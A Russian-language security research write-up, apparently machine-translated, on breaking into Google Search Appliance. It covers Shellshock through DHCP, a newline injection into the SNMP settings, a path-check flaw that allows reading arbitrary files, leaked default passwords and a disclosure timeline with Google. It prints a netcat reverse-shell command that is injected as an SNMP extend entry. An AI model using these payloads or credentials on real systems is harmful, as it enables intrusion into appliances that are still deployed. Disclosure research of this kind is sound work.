November 1, 2023

Путешествие во взлом Google Search Appliance


Английская версия ,中文版本

ТЛ;ДР

  • Удаленное выполнение кода после аутентификации в консоли администратора GSA.
  • Интерфейс поиска GSA Обход пути.
  • GSA использует технологию Oracle Outside-in для преобразования документов.
  • Веб-службы Google имеют некоторые фиксированные URI, которые предоставляют информацию о самой службе.

Введение

Google Search Appliance (далее — GSA) — это корпоративное поисковое устройство, выпущенное Google в 2002 году и используемое для индексирования и получения информации из внутренней или общедоступной сети. Примерно в 2005 году Google представила Google Mini для личного использования и малого бизнеса. Позже, в конце 2008 года, была запущена версия виртуальной машины под названием Virtual Google Search Appliance (далее VGSA). Однако в конце 2018 года Google завершила жизненный цикл продукта GSA и интегрировала его в линейку продуктов Cloud Search.

Приобретение оборудования и программного обеспечения

Нам удалось приобрести устройство, выполнив поиск «Google Search Appliance» на eBay.

К счастью, первым, что мы купили, был GSA с нестертыми данными:

Даже сейчас еще можно найти устройства, которые сейчас продаются.

С другой стороны, исходная общедоступная ссылка на vGSA была удалена. http://dl.google.com/vgsa/vgsa_20090210.7z [удалено] http://dl.google.com/vgsa/vgsa_20081028.7z [удалено]

Мы нашли файл по магнитной ссылке BitTorrent:

magnet:?xt=urn:btih:89388ACE8C3B91FDD3A2F86D8CBB78C58A70D992

Затем нашел ссылку на старую версию программного обеспечения в группах Google: https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ.

Ссылка была:

http://dl.google.com/dl/enterprise/install_bundle-10000622-7.2.0-112.bin [удалено]

И мы можем получить все номера версий по адресу: http://web.archive.org/web/20210116194907/https://support.google.com/gsa/answer/7020590?hl=en&ref_topic=2709671 .

Угадывание правил именования файлов какinstall_bundle-10000(3-digit numbers)-7.(numbers).(numbers)-(numbers).bin

И напишите сценарий оболочки, чтобы попытаться загрузить программное обеспечение:

for((j=622;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.2.0-$i.bin;done;done
for((j=661;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.4.0-$i.bin;done;done
for((j=693;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.6.0-$i.bin;done;done

Включая информацию, найденную посредством поиска в Интернете, успешно получен следующий файл:

all_langs-lang-pack-2.1-1.bin
all_langs-lang-pack-2.2-1.bin
centos_patch_files-6.0.0-22.bin
centos_patch_files-6.14.0-28.bin
centos_patch_files-7.0.14-238.bin
centos_patch_files-7.2.0-252.bin
centos_patch_files-7.2.0-264.bin
centos_patch_files-7.2.0-270.bin
centos_patch_files-7.2.0-280.bin
centos_patch_files-7.2.0-286.bin
install_bundle-10000653-7.2.0-252.bin
install_bundle-10000658-7.2.0-264.bin
install_bundle-10000661-7.2.0-270.bin
install_bundle-10000681-7.4.0-64.bin
install_bundle-10000685-7.4.0-72.bin
install_bundle-10000686-7.4.0-74.bin
install_bundle-10000692-7.4.0-82.bin
install_bundle-10000762-7.6.0-36.bin
install_bundle-10000767-7.6.0-42.bin
install_bundle-10000772-7.6.0-46.bin
install_bundle-10000781-7.6.0-58.bin
install_bundle-10000810-7.6.50-30.bin
install_bundle-10000822-7.6.50-36.bin
install_bundle-10000855-7.6.50-64.bin
install_bundle-10000878-7.6.250-12.bin
install_bundle-10000888-7.6.250-20.bin
install_bundle-10000901-7.6.250-26.bin
install_bundle-10000915-7.6.360-10.bin
install_bundle-10000926-7.6.360-16.bin
install_bundle-10000967-7.6.512-18.bin
sw_files-5.0.4-22.bin
sw_files-6.14.0-28.bin
sw_files-7.0.14-238.bin
vm_patch_1_for_504_G22_and_G24_only.bin

vGSA (виртуальное устройство поиска Google)

Далее мы начали исследование vGSA. По умолчанию после импорта виртуальной машины эта система предоставляет только функцию настройки сети и не предоставляет системную оболочку для работы или использования. Однако, поскольку виртуальная машина работает в нашей собственной среде, обычно можно получить системные разрешения следующими методами:

  • Непосредственное изменение незашифрованных файлов диска
  • Изменение памяти виртуальной машины
  • Загрузка с компакт-дисков или дисков другой операционной системы
  • Эксплуатация известных уязвимостей
  • Использование жестко запрограммированных паролей администратора или системной учетной записи.

На следующем изображении показан экран конфигурации сети:

CVE-2014-6271

При тестировании ранних устройств и серверов Linux, особенно тех, которые используют операционную систему серии RedHat, часто возникают уязвимости Shellshock, и vGSA, выпущенная в 2008 году, не является исключением. Вставка опции 114 в DHCP-сервер будет установлена ​​в переменной среды, тем самым активируя уязвимость и выполняя любую команду.

Была предпринята попытка вставить команду: useradd zzzzgsa. Можно наблюдать, как эта команда выполняется неоднократно, поскольку в выводе консоли продолжают появляться сообщения об ошибках.

наблюдение за операционной системой vGSA

После успешного получения привилегий операционной системы мы можем наблюдать за сетевым окружением, запущенными приложениями и файловой системой. Вот некоторые выводы, полученные в результате наблюдения за средой операционной системы:

  • Номер версии: 5.2.0.G.27.
  • Сервисы в основном написаны на C/C++, Java, Python.
  • /export/hda3, похоже, является каталогом, который в основном используется службой.
  • /etc/shadow содержит учетную запись root с хешем пароля x███████████M.
  • Интерфейс администрирования прослушивает порты 8000, 8443 с паролем администратора по умолчанию, j0njlRXpU5CQ.
  • /.gnupg содержит открытый и закрытый ключи ent_box_key.
  • /.gnupg содержит открытый ключ google_license_key.
  • /.ssh/authorized_keys содержит два набора открытых ключей.
  • /root/.ssh/authorized_keys содержит один набор открытых ключей.
  • /root/.ssh/ содержит два набора открытых и закрытых ключей SSH.
  • /root/.gnupg/ содержит открытый и закрытый ключи ent_box_key.
  • Технология Outside In от Oracle используется для преобразования документов в веб-страницы HTML.
  • Среда выполнения Java использует для защиты диспетчер безопасности.
  • Функция запроса на техническую поддержку использует ppp для создания виртуальной частной сети, /etc/ppp/chap-secrets содержит пароли учетных записей ( z██████c、]███████T .
  • Пароль меню загрузки в /etc/lilo.conf — cmBalx7.
  • /export/hda3/versionmanager/google_key.symmetric содержит строку, которая, по-видимому, используется для симметричного шифрования.
  • /export/hda3/versionmanager/vmanager_passwd содержит два набора комбинаций имени пользователя и пароля ( admin: M█████████████████████████w=:9█ █= google:w██████████████████████████o=:N██= ).

Исполняемые программы с сетевыми сервисами следующие:

Слушать порт

Имя процесса

Язык программы

Функция

22

сш

С/С++

OpenSSH-сервер

53

названный

С/С++

Привязка по имени

953

названный

С/С++

Привязка по имени

1111

webserver_config

питон

Установщик

2100

adminrunner.py

питон

серверная часть консоли администратора

3990

монитор

С/С++

монитор

4000

ртсервер

С/С++

неизвестный

4430

Корпоративный интерфейс

Java (с менеджером безопасности)

интерфейс консоли администратора

4911

боргмон

С/С++

боргмон

4916

реактор

С/С++

неизвестный

5000

ртсервер

С/С++

неизвестный

5600

ртсервер

С/С++

неизвестный

6600

кэш-сервер

С/С++

неизвестный

7800

Корпоративный интерфейс

Java (с менеджером безопасности)

Интерфейс консоли администратора (http)

7880

ТаблицаСервер

Java (с менеджером безопасности)

неизвестный

7882

АутцЧекер

Java (без менеджера безопасности)

неизвестный

7886

Кот

Джава

сервер котов

8000

EnterpriseAdminConsole

Java (без менеджера безопасности)

неизвестный

8443

оглушать

С/С++

перенаправить http на https

8888

ГВС

С/С++

неизвестный

9300

одинбокссервер

С/С++

неизвестный

9328

энтспелмиксер

С/С++

неизвестный

9400

микссервер

С/С++

неизвестный

9402

микссервер

С/С++

неизвестный

9448

qrewrite

С/С++

неизвестный

9450

EnterpriseAdminConsole

Java (без менеджера безопасности)

неизвестный

10094

Enterprise_onebox

С/С++

неизвестный

10200

кластерный_сервер

С/С++

неизвестный

11913

менеджер сеансов

С/С++

неизвестный

12345

Сервер реестра

Java (без менеджера безопасности)

неизвестный

19780

configmgr/ent_configmgr.py

питон

неизвестный

19900

фидергейт

С/С++

извлекать, преобразовывать и подавать записи

21200

Шлюз файловой системы

Java (с менеджером безопасности)

неизвестный

31300

ртсервер

С/С++

неизвестный

Несмотря на наличие такого количества сервисов, большинство соединений блокируются iptables. Ниже приведены настройки iptables:

# Redirect privileged ports.
# (we listen as nobody, which can't attach to low ports, so redirect to high ports)
#
-A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 7800
-A PREROUTING -i eth0 -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 4430
-A PREROUTING -i eth0 -p tcp -m tcp --dport 444 -j REDIRECT --to-ports 4431
-A INPUT -i eth0 -p udp -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 7800 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 7801 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 4430 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 4431 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 19900 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8000 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8443 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 9941 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 9942 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 10999 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --sport 68 --dport 67 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 53 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 137:138 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 123 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 514 -j ACCEPT
-A INPUT -i eth0 -p udp -m udp --dport 161 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --sport 161 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 162 -j ACCEPT

Ниже приводится реальная доступная поверхность атаки TCP:

Порт

Услуга

Местоположение программы

22

сш

/usr/sbin/sshd

7800

Корпоративный интерфейс

/export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar

4430

Корпоративный интерфейс

/export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar

19900

фидергейт

/export/hda3/5.2.0/local/google/bin/feedergate

8000

EnterpriseAdminConsole

/export/hda3/5.2.0/local/google/bin/EnterpriseAdminConsole.jar

8443

оглушать

/usr/sbin/stunnel

И мы обнаружили, что строки в файле /export/hda3/versionmanager/google_key.symmetricможно использовать для расшифровки содержимого всех установочных пакетов! После получения привилегий с использованием CVE-2014-6271 и расшифровки содержимого установочного пакета наше исследование vGSA временно завершилось.

Но отсутствие защиты памяти может иметь некоторые уязвимости, которыми можно легко воспользоваться.

ГСА

Загрузив установленное устройство и попытавшись изменить последовательность загрузки, мы обнаружили, что для входа в BIOS требуется пароль. Более того, в интерфейсе управления RAID-карты Dell H700 доступны лишь некоторые функции:

Затем попытайтесь напрямую прочитать содержимое жесткого диска. Если содержимое жесткого диска не зашифровано, существует вероятность того, что операционную систему и программное обеспечение устройства можно получить напрямую. Мы обнаружили, что его жесткий диск использует для передачи интерфейс SAS. Прежде чем пытаться, необходимо приобрести карту SAS HBA. LSI 9211-8i используется для подключения в этом тесте:

После подключения и попытки чтения было обнаружено, что это самошифрующийся накопитель (SED). Для разблокировки доступа требуется пароль. OSSLab имеет более подробное объяснение здесь:

https://www.osslab.com.tw/ata-sed-security/ (статья на китайском языке)

Есть несколько способов продолжить попытку, если прямой доступ к жесткому диску невозможен:

  • Попробуйте прочитать пароль в EEPROM биоса и изменить порядок загрузки.

Этот метод требует повреждения материнской платы и несет в себе определенный риск. Этот метод используется только в том случае, если на уровне программного обеспечения не обнаружено уязвимостей. Дополнительная информация: https://blog.cybercx.co.nz/bypassing-bios-password .

  • Используйте PCILeech для чтения и записи памяти, чтобы получить системные привилегии.

Для этого метода требуются специальные устройства PCI-e, которые в то время не были подготовлены. Вы можете обратиться к этому проекту GitHub:

https://github.com/ufrisk/pcileech

  • Ищите уязвимости программного обеспечения, которые могут получить доступ к сервису.

Этот метод проще и осуществимее.

НЧ-инъекция в консоли администратора

Зайдя в админку, мы заметили возможность получения системной информации по SNMP. Кроме того, эта функция позволяет вставлять собственные строки.:

Здесь мы попробовали классическую НЧ-инъекцию:

Введите sysContactLF и следующую команду:

extend shell /bin/nc -e /bin/sh 10.5.2.1 4444

После вставки значения конфигурации «extend» мы можем использовать команду «snmpwalk», чтобы активировать функцию расширения SNMP и выполнить оболочку.

Команда выполнена успешно и снова соединилась с оболочкой.

Произвольное чтение файлов

Из версий серии GSA 6.x мы обнаружили, что веб-службы 80/443 используют Apache httpd в установочном пакете RPM. Существует несколько конфигураций http, расположенных в /etc/httpd/conf.d/. В файлах gsa-http.conf и gsaa-https.conf определенные каталоги перенаправляются на определенные локальные службы.

  RewriteEngine on
  RewriteRule ^/security-manager/(.*) http://localhost:7886/security-manager/$1 [P,L]
  RewriteRule ^/d██████████/(.*) http://localhost:7890/dps/d██████████/$1 [P,L]
  RewriteRule ^/s██████/(.*) http://localhost:7890/dps/s██████/$1 [P,L]
  RewriteRule ^/v█████/(.*) http://localhost:7890/v█████/$1 [P,L]
  RewriteRule ^/$ http://localhost:7800/ [P,L]
  RewriteRule ^/(.*) http://localhost:7800/$1 [P,L]

Коммуникационные порты 7886 и 7890 — это службы, обслуживаемые отдельными серверами Apache Tomcat. При проксировании двух или более веб-серверов определение пути Tomcat, ..;/, является интересной контрольной точкой. Более подробную информацию вы можете найти в статье, написанной нашим сотрудником:

https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days- Выход-2.pdf

Нас интересует dps, которого, похоже, нет в старой версии GSA. Извлечение /WEB-INF/web.xml из dps.war позволяет нам проверить конфигурацию веб-приложения, и мы обнаружили, что конечная точка /font будет обрабатываться com.documill.dps.connector.servlet.user.DPSDownloadServlet

  <servlet>
    <servlet-name>font</servlet-name>
    <servlet-class>com.documill.dps.connector.servlet.user.DPSDownloadServlet</servlet-class>
    <init-param>
      <param-name>rootDirectory</param-name>
      <param-value>work/fonts/</param-value>
    </init-param>
  </servlet>

  <servlet-mapping>
    <servlet-name>font</servlet-name>
    <url-pattern>/font/*</url-pattern>
  </servlet-mapping>

И глядя на DPSDownloadServlet:

import com.davisor.net.servlet.DownloadServlet;
import com.documill.dps.*;
import java.io.*;
import javax.servlet.ServletContext;

public class DPSDownloadServlet extends DownloadServlet
    implements DPSUserService
{

    public DPSDownloadServlet()
    {
    }

    protected String getRealPath(ServletContext servletcontext, String s)
        throws IOException
    {
        DPS dps = DPSSingleton.getDPS();
        File file = dps.getHomeDir();
        if(file == null)
            throw new FileNotFoundException("DPSDownloadServlet:getRealPath:DPS home directory not specified");
        else
            return (new File(file, s)).getAbsolutePath();
    }

    private static final long serialVersionUID = 0L;
}

Шаг, в com.davisor.net.servlet.DownloadServletкоторый простирается DPSDownloadServlet:

    protected void service(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
        throws ServletException, IOException
    {
        String s = httpservletrequest.getParameter(uriParameterName);
        if(!isValid(s))
        {
            httpservletresponse.sendError(400, (new StringBuilder()).append("Invalid file path: ").append(s).toString());
            return;
        }
        File file = rootDirectory.deriveFile(s);
        if(!file.isFile())
            httpservletresponse.sendError(404, (new StringBuilder()).append("No file:").append(s).toString());
        else
        if(!file.canRead())
        {
            httpservletresponse.sendError(403, (new StringBuilder()).append("Unreadable file:").append(s).toString());
        } else
        {
            long l = file.length();
            if(l > 0x7fffffffL)
            {
                httpservletresponse.sendError(413, (new StringBuilder()).append("File too big:").append(l).toString());
            } else
            {
                String s1 = MIME.getTypeFromPath(file.getName(), "application/octet-stream");
                httpservletresponse.setContentLength((int)l);
                httpservletresponse.setContentType(s1);
                httpservletresponse.setDateHeader("Last-Modified", file.lastModified());
                if(cacheExpires > 0L)
                {
                    httpservletresponse.setDateHeader("Expires", System.currentTimeMillis() + cacheExpires);
                    httpservletresponse.setHeader("Cache-Control", "public");
                }
                IO.copy(file, httpservletresponse.getOutputStream());
            }
        }
    }
    private static boolean isValid(String s)
    {
        return !Strings.isEmpty(s) && !s.contains("..");
    }

Здесь вы можете видеть, что единственная проверка — содержит ли строка ... Однако мы можем напрямую указать абсолютный путь и напрямую прочитать любой локальный файл!

В старой версии GSA нет конечной точки /font, но /dps/admin/admin имеет аналогичную проблему с чтением файлов. Вы можете напрямую указать имя журнала для чтения файла. На схеме ниже показано непосредственное считывание пароля учетной записи из интерфейса управления системой:

После успешного взлома хэша вы можете войти в систему, включить службу SNMP и объединить ее с первой уязвимостью для выполнения произвольных команд с правами root.

Другие выводы и прочее

Внутренние URI в веб-сервисах

В GSA существует несколько подсервисов, которые взаимодействуют друг с другом по протоколу HTTP. Многие из этих служб предлагают такие URL-адреса, как /varz, /helpz и /procz. Мы можем получить к ним доступ либо в доверенном сетевом расположении, определенном для службы, либо с помощью 127.0.0.1:

В vGSA мы заметили, что существует параметр выполнения службы под названием «useripheader=X-User-Ip». Этот параметр обеспечивает прямой доступ к определенным функциям внешней консоли администратора, если он включен в заголовок запроса как «X-User- ИП».

Конечная /proczточка может даже получать исполняемые файлы и общие библиотеки, которые они используют:

Список техники

Название модели

Создатель

Характеристики

версия

Сумма документа

Гугл Мини

Гигабайт

Pentium III 1 ГБ/2 ГБ памяти/120 ГБ

3.4.14

300 000

Гугл Мини-002X

СуперМикро

Pentium 4 3G / 2 ГБ памяти / жесткий диск 250 ГБ

5.0.0

неизвестный

Гугл ГБ-1001

Делл Повередж 2950

Xeon / 16 ГБ памяти / жесткий диск 1,25 ТБ

неизвестный

3 000 000

Гугл ГБ-1002

Гигабайт

неизвестный

неизвестный

неизвестный

Гугл ГБ-7007

Делл Р710

Xeon E5520 / 48 ГБ памяти / жесткий диск 3 ТБ

неизвестный

10 000 000

Гугл ГБ-9009

Делл неизвестен

Xeon X5560 / 96 ГБ памяти / жесткий диск 3,6 ТБ

неизвестный

30 000 000

Гугл G100

Делл R720XD

неизвестный

неизвестный

неизвестный

Версия ядра Linux

версия GSA

Версия ядра Linux

7.6.0

Версия Linux 3.14.44_gsa-x64_1.5 ( [email protected] ) (версия gcc 4.9.x-google 20150123 (предварительная версия) (Google_crosstoolv18-gcc-4.9.x-x86_64-grtev4-linux-gnu ) ) #1 SMP Пн, 23 ноября 09:19:11 PST 2015

7.4.0

7.2.0

Версия Linux 3.4.3_gsa-x64_1.5 ( [email protected] ) (версия gcc 4.6.x-google 20120601 (предварительная версия) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1 -grte) ) #1 SMP Вт, 9 июля 15:36:01 PDT 2013

7.0.14

Версия Linux 3.4.3_gsa-x64_1.3 ( [email protected] ) (версия gcc 4.6.x-google 20120601 (предварительная версия) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte ) ) #1 SMP Четверг, 19 июля, 11:59:57 по тихоокеанскому времени 2012 г.

5.2.0

Версия Linux 2.6.20_vmw-smp_3.1 ( [email protected] ) (версия gcc 4.1.1) # 1 SMP Четверг, 24 января 22:34:28 по тихоокеанскому стандартному времени 2008 г.

График

時間

事件

10.06.2005

Внедрение кода Java CVE-2005-3757 сообщил HD Moore

начало 2008 года

Выпущена ГСА 5.0

28.10.2008

vgsa_20081028.7z (5.2.0) выпущен

20 апреля 2013 г.

Выпущена GSA 6.14.0.G28

20 марта 2014 г.

Межсайтовый скриптинг CVE-2014-0362 сообщил Уилл Дорманн

01.10.2014

Выпущена версия GSA 7.0.14.G238.

2014/10/03

Выпущена версия GSA 7.2.0.G252.

12.12.2014

Выпущена версия GSA 7.2.0.G264.

07.02.2015

Выпущена GSA 7.2.0.G270

15.04.2015

Выпущена GSA 7.4.0.G64

22.04.2015

Выпущена GSA 7.4.0.G72

2015/04/30

Выпущена GSA 7.4.0.G74

04.06.2015

Выпущена GSA 7.4.0.G82

начало 2016 года

Google объявил, что GSA уйдет с рынка.

05.01.2016

Внедрение внешних сущностей XMLсообщил Тимо

24.05.2016

Выпущена GSA 7.6.0.G36

01.07.2016

Выпущена GSA 7.6.0.G42

2016/07/31

Автор статьи получил данное устройство версии 7.0.14.

25.08.2016

Выпущена GSA 7.6.0.G46

21.10.2016

Выпущена GSA 7.6.0.G58

19.01.2017

Выпущена GSA 7.6.50.G30

2017/04/19

Выпущена GSA 7.6.50.G36

28.07.2017

Выпущена GSA 7.6.50.G64

2017/11/09

Выпущена версия GSA 7.6.250.G12.

28.12.2017

Последняя дата заказа GSA.

17.01.2018

Выпущена версия GSA 7.6.250.G20.

21.03.2018

Выпущена версия GSA 7.6.250.G26.

15.06.2018

Выпущена версия GSA 7.6.360.G10.

2018/10/08

Выпущена версия GSA 7.6.360.G16.

26.04.2019

Выпущена GSA 7.6.512.G18. Это должна быть последняя публично выпущенная версия.

16.08.2021

сообщили о проблемах.

16.08.2021

ответил от бота и отсортирован.

16.08.2021

Issuetracker.google.com сообщил о проблеме.

18.08.2021

В Google заявили, что проблема не настолько серьезна, чтобы претендовать на вознаграждение, но комиссия VRP рассмотрит ее более внимательно.

20.08.2021

Комиссия VRP решила, что влияние этой проблемы на безопасность не соответствует планке финансового вознаграждения.

2021/11/01

Спросить, будет ли уязвимости присвоен идентификатор CVE.

2021/11/02

Подтверждение того, что идентификатор CVE не будет присвоен.

начало 2023 г.

Начал писать эту статью

04.06.2023

Первый черновой вариант завершен.

Заключение

Хотя GSA/vGSA — это продукт, который достиг конца своего жизненного цикла, изучение того, как Google повышает безопасность продукта и уменьшает векторы атак на устройства, может расширить наши знания, с которыми мы обычно не сталкиваемся. Хотя это не подробно описано в этой статье, Java Security Manager и seccomp ядра Linux являются технологиями, используемыми в GSA, и это исследование также оставило некоторые цели для дальнейшего изучения:

  • Служба фидергейта прослушивает порт 19900.
  • Уязвимости памяти в технологии Oracle Outside-in для преобразования форматов файлов.
  • Песочница Convert_to_html seccomp

Мы поделимся, когда появятся результаты исследований. Увидимся в следующий раз.

Другие справочные ссылки